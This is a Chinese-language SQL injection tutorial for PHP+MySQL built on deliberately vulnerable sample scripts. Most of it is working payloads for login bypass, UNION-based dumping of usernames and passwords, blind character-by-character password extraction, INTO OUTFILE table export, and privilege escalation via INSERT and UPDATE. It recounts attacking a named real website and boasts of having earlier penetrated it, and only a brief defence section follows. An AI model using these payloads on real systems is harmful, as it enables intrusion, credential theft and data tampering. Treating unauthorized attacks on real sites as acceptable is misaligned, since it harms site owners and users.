原文:http://www.4ngel.net/article/36.htm
本文已經發表在《黑客防線》7月刊,轉載請注明。由于寫了很久,隨著技術的進步,本人也發現該文里有不少錯誤和羅嗦的地方。請各位高手看了不要笑。本文寫于《Advanced SQL Injection with MySQL》之前一個月。聲明
本文僅用于教學目的,如果因為本文造成的攻擊后果本人概不負責,本文所有代碼均為本人所寫,所有數據均經過測試。絕對真實。如果有什么遺漏或錯誤,歡迎來安全天使論壇(http://www.4ngel.net/forums)和我交流。
前言
2003年開始,喜歡腳本攻擊的人越來越多,而且研究ASP下注入的朋友也逐漸多了起來,我看過最早的關于SQL注入的文章是一篇99年國外的高手寫的,而現在國外的已經爐火純青了,國內才開始注意這個技術,由此看來,國內的這方面的技術相對于國外還是有一段很大差距,話說回來,大家對SQL注入攻擊也相當熟悉了,國內各大站點都有些堪稱經典的作品,不過作為一篇完整的文章,我覺得還是有必要再說說其定義和原理。如果哪位高手已經達到爐火純青的地步,不妨給本文挑點刺。權當指點小弟。
關于php+Mysql的注入
國內能看到php+Mysql注入的文章可能比較少,但是如果關注各種WEB程序的漏洞,就可以發現,其實這些漏洞的文章其實就是一個例子。不過由于國內研究PHP的人比研究ASP的人實在少太多,所以,可能沒有注意,況且PHP的安全性比ASP高很多,導致很多人不想跨越這個門檻。
盡管如此,在PHP站點日益增多的今天,SQL注入仍是最有效最麻煩的一種攻擊方式,有效是因為至少70% 以上的站點存在SQL Injection漏洞,包括國內大部分安全站點,麻煩是因為MYSQL4以下的版本是不支持子語句的,而且當php.ini里的 magic_quotes_gpc 為On 時。提交的變量中所有的 ' (單引號), " (雙引號), \ (反斜線) and 空字符會自動轉為含有反斜線的轉義字符。給注入帶來不少的阻礙。
早期的時候,根據程序的代碼,要構造出沒有引號的語句形成有效的攻擊,還真的有點困難,好在現在的技術已經構造出不帶引號的語句應用在某些場合。只要有經驗,其實構造有效的語句一點也不難,甚至成功率也很高,但具體情況具體分析。首先要走出一個誤區。
注:在沒有具體說明的情況下,我們假設magic_quotes_gpc均為off。
php+Mysql注入的誤區
很多人認為在PHP+MYSQL下注入一定要用到單引號,或者是沒有辦法像MSSQL那樣可以使用“declare @a sysname select @a=<command> exec master.dbo.xp_cmdshell @a”這類的命令來消除引號,其實這個是大家對注入的一種誤解或這說是對注入認識上的一種誤區。
為什么呢?因為不管在什么語言里,在引號(包括單雙)里,所有字符串均是常量,即使是dir這樣的命令,也緊緊是字符串而已,并不能當做命令執行,除非是這樣寫的代碼:
$command = "dir c:\"; system($command); |
①SELECT * FROM article WHERE articleid='$id' ②SELECT * FROM article WHERE articleid=$id |
① 指定變量$id為: 1' and 1=2 union select * from user where userid=1/* 此時整個SQL語句變為: SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*' ②指定變量$id為: 1 and 1=2 union select * from user where userid=1 此時整個SQL語句變為: SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1 |
大家看到一些文章給出的語句中沒有包含單引號例如pinkeyes的《php注入實例》中給出的那句SQL語句,是沒有包含引號的,大家不要認為真的可以不用引號注入,仔細看看PHPBB的代碼,就可以發現,那個$forum_id所在的SQL語句是這樣寫的:
$sql = "SELECT * FROM " . FORUMS_TABLE . " WHERE forum_id = $forum_id"; |
簡單的例子
先舉一個例子來給大家了解一下PHP下的注入的特殊性和原理。當然,這個例子也可以告訴大家如何學習構造有效的SQL語句。
我們拿一個用戶驗證的例子,首先建立一個數據庫和一個數據表并插入一條記錄,如下:
CREATE TABLE `user` ( `userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '', `password` varchar(20) NOT NULL default '', PRIMARY KEY (`userid`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; # # 導出表中的數據 `user` # INSERT INTO `user` VALUES (1, 'angel', 'mypass'); |
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗"); $sql = "SELECT * FROM user WHERE username='$username' AND password='$password'"; $result = mysql_db_query($dbname, $sql); $userinfo = mysql_fetch_array($result); if (empty($userinfo)) { echo "登陸失敗"; } else { echo "登陸成功"; } echo "<p>SQL Query ![]() ?> |
http://127.0.0.1/injection/user.php?username=angel' or 1=1 |
Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13 登陸失敗 SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password='' PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:\www\injection\user.php on line 13 |
http://127.0.0.1/injection/user.php?username=angel' or '1=1 |
http://127.0.0.1/injection/user.php?username=angel'/* http://127.0.0.1/injection/user.php?username=angel'%23 |
通過上面的例子大家應該對PHP+MYSQL的注入有個感性的認識了吧?
語句構造
PHP+MYSQL注入的博大精深不僅僅體現在認證體系的饒過,語句的構造才是最有趣味的地方,但構造語句和ACCESS、MSSQL都有少許不同,但同樣可以發揮得淋漓盡致。看下面的例子。
一、搜索引擎
網上有一大堆的PHP程序搜索引擎是有問題的,也就是提交特殊字符可以顯示所有記錄,包括不符合條件的,其實這個危害也不算大,因為允許用戶輸入關鍵字進行模糊查詢的地方大多數都允許檢索所有的記錄。很多查詢的設計就是這樣的。
查詢是只讀的操作應該不會對數據產生破壞作用,不要太擔心。不過泄露隱私不知道算不算危害,下面是一個標準的搜索引擎:
<form method="GET" action="search.php" name="search"> <input name="keywords" type="text" value="" size="15"> <input type="submit" value="Search"> </form> <p><b>Search result</b></p> <?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗"); $keywords = $_GET['keywords']; if (!empty($keywords)) { //$keywords = addslashes($keywords); //$keywords = str_replace("_","\_",$keywords); //$keywords = str_replace("%","\%",$keywords); $sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC"; $result = mysql_db_query($dbname,$sql); $tatol=mysql_num_rows($result); echo "<p>SQL Query ![]() if ($tatol <=0){ echo "The \"<b>$keywords</b>\" was not found in all the record.<p>\n"; } else { while ($article=mysql_fetch_array($result)) { echo "<li>".htmlspecialchars($article[title])."<p>\n"; } //while } } else { echo "<b> ![]() } ?> |
%' ORDER BY articleid/* %' ORDER BY articleid# __' ORDER BY articleid/* __' ORDER BY articleid# |
SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC |
二、查詢字段
查詢字段又可以分成兩種,本表查詢和跨表查詢,這兩種查詢和ACCESS、MSSQL差不多,甚至更強大、更靈活、更方便。不知道為什么就是有人認為比ASP難?我們在ASP中經常使用的個別函數在PHP里要有小小的改動,如下:
① 本表查詢
看下面一條SQL語句,多用在論壇或者會員注冊系統查看用戶資料的,
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗"); $sql = "SELECT * FROM user WHERE username='$username'"; $result = mysql_db_query($dbname,$sql); $row = mysql_fetch_array($result); if (!$row) { echo "該記錄不存在"; echo "<p>SQL Query ![]() exit; } echo "你要查詢的用戶ID是:$row[userid]\n"; echo "<p>SQL Query ![]() ?> |
SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username' |
看了上面的例子,應該知道構造了吧,如果我們提交:
http://127.0.0.1/injection/user.php?username=angel' and password='mypass |
SELECT * FROM user WHERE username='angel' AND password='mypass' |
http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6 |
http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass |
② 跨表查詢
這部分就和ASP有點出入了,除了一定要用UNION連接兩條SQL語句,最難掌握的就是字段的數量,如果看過MYSQL參考手冊,就知道了在 SELECT 中的 select_expression (select_expression 表示你希望檢索的列[字段]) 部分列出的列必須具有同樣的類型。第一個 SELECT 查詢中使用的列名將作為結果集的列名返回。簡單的說,也就是UNION后面查選的字段數量、字段類型都應該與前面的SELECT一樣,而且,如果前面的 SELECT為真,就同時返回兩個SELECT的結果,當前面的SELECT為假,就會返回第二個SELECT所得的結果,某些情況會替換掉在第一個 SELECT原來應該顯示的字段,如下圖:
[img=700,405]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM…… |
SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM…… |
The used SELECT statements have a different number of columns |
我們看看下面的數據結構,是一個簡單的文章數據表。
CREATE TABLE `article` ( `articleid` int(11) NOT NULL auto_increment, `title` varchar(100) NOT NULL default '', `content` text NOT NULL, PRIMARY KEY (`articleid`) ) TYPE=MyISAM AUTO_INCREMENT=3 ; # # 導出表中的數據 `article` # INSERT INTO `article` VALUES (1, '我是一個不愛讀書的孩子', '中國的教育制度真是他媽的落后!如果我當教育部長。我要把所有老師都解雇!'); INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么東西啊'); |
下面的文件是一個很標準、簡單的顯示文章的文件,很多站點都是這種頁面沒有過濾,所以成為最明顯的注入點,下面就拿這個文件作為例子,開始我們的注入實驗。
<?php $servername = "localhost"; $dbusername = "root"; $dbpassword = ""; $dbname = "injection"; mysql_connect($servername,$dbusername,$dbpassword) or die ("數據庫連接失敗"); $sql = "SELECT * FROM article WHERE articleid='$id'"; $result = mysql_db_query($dbname,$sql); $row = mysql_fetch_array($result); if (!$row) { echo "該記錄不存在"; echo "<p>SQL Query ![]() exit; } echo "title<br>".$row[title]."<p>\n"; echo "content<br>".$row[content]."<p>\n"; echo "<p>SQL Query ![]() ?> |
http://127.0.0.1/injection/show.php?id=1 |
由于$id沒有過濾給我們制造了這個機會,我們要把show.php文件中的SQL語句改寫成類似這個樣子:
SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user …… |
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/* |
[img=778,180]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/* http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from user/* |
[img=770,180]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
三、導出文件
這個是比較容易構造但又有一定限制的技術,我們經常可以看見以下的SQL語句:
select * from table into outfile 'c:/file.txt' select * from table into outfile '/var/www/file.txt' |
- 必須導出到能訪問的目錄,這樣才能下載。
- 能訪問的目錄必須要有可寫的權限,否則導出會失敗。
- 確保硬盤有足夠的容量能容下導出的數據,這個很少見。
- 確保要已經存在相同的文件名,會導致導出失敗,并提示:“File 'c:/file.txt' already exists”,這樣可以防止數據庫表和文件例如/etc/passwd被破壞。
SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt' |
http://127.0.0.1/injection/user.php?username=angel' into outfile 'c:/file.txt |
[img=701,479]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
http://127.0.0.1/injection/user.php?username=' or 1=1 into outfile 'c:/file.txt |
SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt' |
既然條件滿足,在這種情況下就直接導出所有數據!如圖:
[img=479,126]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt' |
http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt |
[img=544,134]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt |
[img=479,126]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
INSERT
如果大家認為MYSQL中注入僅僅適用于SELECT就大錯特錯了,其實還有兩個危害更大的操作,那就是INSERT和UPDATE語句,這類例子不多,先面先說說INSERT,這主要應用于改寫插入的數據,我們來看個簡單而又廣泛存在的例子,看看下面的數據結構:
CREATE TABLE `user` ( `userid` INT NOT NULL AUTO_INCREMENT , `username` VARCHAR( 20 ) NOT NULL , `password` VARCHAR( 50 ) NOT NULL , `homepage` VARCHAR( 255 ) NOT NULL , `userlevel` INT DEFAULT '1' NOT NULL , PRIMARY KEY ( `userid` ) ); |
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1'); |
http://4ngel.net', '3’)# |
INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3’)#', '1'); |
或許INSERT還有更廣泛的應用,大家可以自行研究,但原理都是一樣的。
UPDATE
和INSERT相比,UPDATE的應用更加廣泛,如果過濾不夠,足以改寫任何數據,還是拿剛才的注冊程序來說,數據結構也不變,我們看一下用戶自己修改自己的資料,SQL語句一般都是這樣寫的:
UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id' |
http://4ngel.net', userlevel='3 |
UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id' |
還有更加絕的,直接修改任意用戶的資料,還是剛才的例句,但這次安全一點,使用MD5加密:
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id' |
mypass)' WHERE username='admin'# |
UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id' |
' OR username='admin' |
UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin' |
變量的提交方式可以是GET或POST,提交的位置可以是地址欄、表單、隱藏表單變量或修改本地COOKIE信息等,提交的方式可以是本地提交,服務器上提交或者是工具提交,多種多樣就看你如何運用了。
高級應用
1、 使用MYSQL內置函數
我們在ACCESS、MSSQL中的注入,有很多比較高級的注入方法,比如深入到系統,猜中文等,這些東西,在MYSQL也能很好得到發揮,其實在 MYSQL有很多內置函數都可以用在SQL語句里,這樣就可以使我們能在注入時更靈活,得到更多關于系統的信息。有幾個函數是比較常用的:
DATABASE() USER() SYSTEM_USER() SESSION_USER() CURRENT_USER() …… |
UPDATE article SET title=$title WHERE articleid=1 |
UPDATE article SET title=DATABASE() WHERE id=1 #把當前數據庫名更新到title字段 UPDATE article SET title=USER() WHERE id=1 #把當前 MySQL 用戶名更新到title字段 UPDATE article SET title=SYSTEM_USER() WHERE id=1 #把當前 MySQL 用戶名更新到title字段 UPDATE article SET title=SESSION_USER() WHERE id=1 #把當前 MySQL 用戶名更新到title字段 UPDATE article SET title=CURRENT_USER() WHERE id=1 #把當前會話被驗證匹配的用戶名更新到title字段 |
http://127.0.0.1/injection/show.php?id=1 |
http://127.0.0.1/injection/show.php?id=-1 union select 1,database(),version() |
下面附上一段由我好友Super·Hei寫的代碼,可以把字符串轉換為ASCII代碼。感謝提供。
#!/usr/bin/perl #cody by Super·Hei #to angel #C:\>test.pl c:\boot.ini #99,58,92,98,111,111,116,46,105,110,105 $ARGC = @ARGV; if ($ARGC != 1) { print "Usage: $0 \n"; exit(1); } $path=shift; @char = unpack('C*', $path); $asc=join(",",@char); print $asc; |
注:現在我們假設magic_quotes_gpc為on了。
眾所周知,整形的數據是不需要用引號引起來的,而字符串就要用引號,這樣可以避免很多問題。但是如果僅僅用整形數據,我們是沒有辦法注入的,所以我需要把我們構造的語句轉換成整形類型,這個就需要用到CHAR(),ASCII(),ORD(),CONV()這些函數了,舉個簡單的例子:
SELECT * FROM user WHERE username='angel' |
SELECT * FROM user WHERE username=char(97,110,103,101,108) # char(97,110,103,101,108) 相當于angel,十進制。 SELECT * FROM user WHERE username=0x616E67656C # 0x616E67656C 相當于angel,十六進制。 |
SELECT * FROM user WHERE userid=userid |
http://127.0.0.1/injection/user.php?userid=1 |
http://127.0.0.1/injection/user.php?userid=1 and password=mypass |
http://127.0.0.1/injection/user.php?userid=1 and password='mypass' |
http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111) |
http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115) |
[img=760,453]mhtml:file://E:\PHP 學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
select char(109,121,112,97,115,115) |
[img=322,344]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112) http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97) |
http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111 http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113 http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112 |
3、快速確定未知數據結構的字段及類型
如果不清楚數據結構,很難用UNION聯合查詢,這里我告訴大家一個小技巧,也是非常有用非常必要的技巧,充分發揮UNION的特性。
還是拿前面的show.php文件做例子,當我們看到形如xxx.php?id=xxx的URL的時候,如果要UNION,就要知道這個 xxx.php查詢的數據表的結構,我們可以這樣提交來快速確定有多少個字段:
http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1 |
http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97) |
[img=521,432]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
4、猜數據表名
在快速確定未知數據結構的字段及類型的基礎上,我們又可以進一步的分析整個數據結構,那就是猜表名,其實使用UNION聯合查詢的時候,不管后面的查詢怎么“畸形”,只要沒有語句上的問題,都會正確返回,也就是說,我們可以在上面的基礎上,進一步猜到表名了,比如剛才我們提交:
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 |
http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user |
但是有一個問題,由于很多情況下,很多程序的數據表都會有一個前綴,有這個前綴就可以讓多個程序共用一個數據庫。比如:
site_article site_user site_download forum_user forum_post …… |
實例
下面對一個國內非常出名的站點進行善意的攻擊測試,來對上面的知識進行一次大概的驗證,出于影響等諸多因素,我們稱這個站點為 HB(www.***bai.net),HB使用的是夜貓的文章系統和下載系統,不過文章系統已經升級了,我們就不看了,下載系統是絕對有問題的,不過由于我現在寫文章的電腦不上網,我用相同的下載系統在本地進行一次模擬的測試。實際上,我事前早用更狠毒的技術滲透過HB。
首先我們找到有問題的文件,show.php?id=1,我們馬上看看數據結構和表名,看看HB有沒有改字段和表名,我早知道夜貓下載系統1.0.1 版的軟件信息的表有19個字段,就提交:
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 |
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user |
[img=715,653]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 |
if ($id > "0" && $id < "999999999" ): //這里是正確執行的代碼 else: echo "<p><center><a href=./list.php>無記錄</a></p>\n"; |
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 |
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1 |
CREATE TABLE ymdown ( id int(10) unsigned NOT NULL auto_increment, name varchar(100) NOT NULL, updatetime varchar(20) NOT NULL, size varchar(100) NOT NULL, empower varchar(100) NOT NULL, os varchar(100) NOT NULL, grade smallint(6) DEFAULT '0' NOT NULL, viewnum int(10) DEFAULT '0' NOT NULL, downnum int(10) DEFAULT '0' NOT NULL, homepage varchar(100), demo varchar(100), brief mediumtext, img varchar(100), sort2id smallint(6) DEFAULT '0' NOT NULL, down1 varchar(100) NOT NULL, down2 varchar(100), down3 varchar(100), down4 varchar(100), down5 varchar(100), PRIMARY KEY (id) ); |
http://127.0.0.1/ymdown/show.php?id=10000 union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 |
[img=662,551]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
整個滲透過程就結束了,不過由于黑白把入口給改了,無法登陸,但我們僅僅測試注入,目的已經達到了,就沒有必要進后臺了,我后來又繼續構造SQL語句來驗證我們獲取的密碼是否正確,依次提交:
http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 #驗證第一位密碼 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 #驗證第二位密碼 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51 #驗證第三位密碼 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,4,1))=52 #驗證第四位密碼 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,5,1))=53 #驗證第五位密碼 http://127.0.0.1/ymdown/show.php?id=10 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,6,1))=54 #驗證第六位密碼 |
OK!測試結束,驗證我們的結果沒有錯誤。說明一下,密碼本身是123456,可以不用ord()函數而直接猜,但為了大家能看到一個完整的過程,我還是“專業”一點好了。下面補一幅截圖,是本文寫完后,重新測試HB時截取的:
[img=612,531]mhtml:file://E:\PHP學習\轉載關于MYSQL語句存在注入漏洞的寫法 - jingangel - 網易博客.mht![/img]
防范可以從兩個方面著手,一個就是服務器,二個就是代碼本身,介紹服務器配置的文章很多了,無非就是把magic_quotes_gpc設置為 On,display_errors設置為Off,這里也就不在多說,既然本文接觸都是程序的問題,我們還是從程序本身尋找原因。
如果說php比asp易用,安全,從內置的函數就可以體現出來。如果是整形的變量,只需使用一個intval()函數即可解決問題,在執行查詢之前,我們先處理一下變量,如下面的例子就是很安全的了:
$id = intval($id); mysql_query("SELECT * FROM article WHERE articleid='$id'"); |
mysql_query("SELECT * FROM article WHERE articleid=".intval($id)."") |
字符串形的變量也可以用addslashes()整個內置函數了,這個函數的作用和magic_quotes_gpc一樣,使用后,所有的 ' (單引號), " (雙引號), \ (反斜線) and 空字符會自動轉為含有反斜線的溢出字符。而且新版本的php,就算magic_quotes_gpc打開了,再使用addslashes()函數,也不會有沖突,可以放心使用。例子如下:
$username = addslashes($username); mysql_query("SELECT * FROM members WHERE userid='$username'"); |
mysql_query("SELECT * FROM members WHERE userid=".addslashes($username)."") |
$keywords = addslashes($keywords); $keywords = str_replace("_","\_",$keywords); $keywords = str_replace("%","\%",$keywords); |
后記
這篇文章是我自2004年3月份以來利用課余時間學習研究的,5月中旬寫完,里面的所有東西都是經過我親自測試的,本文僅僅算是技術總結吧,還有很多技術難點沒有解決的,因此錯漏是難免的,歡迎請大家指正。
還有不少危險性極高的東西,只要少數條件成立,一般都可以進入服務器,考慮到嚴重性和廣泛性,我并沒有寫出來,我個人估計,不久將會出現 PHP+MYSQL注入的一系列工具,技術也會普及和告訴發展。但我建議大家一定要弄清楚原理,工具只是武器,技術才是靈魂,工具只是提高效率罷了,并不代表你的技術高超。
大家看到這篇文章的時候,估計我已經高考完了,暑假我會寫一篇更深入的研究。
為了讓更多人了解并掌握PHP+MYSQL的注入技術,我才寫了這篇文章,并決定發表,再重申一次。不要對任何國家的任何合法主機進行破壞,否則后果自負。
滲透過關非常輕松
一切都盡在我掌握中
越來越接近管理員
今天的心情是大不同啊大不同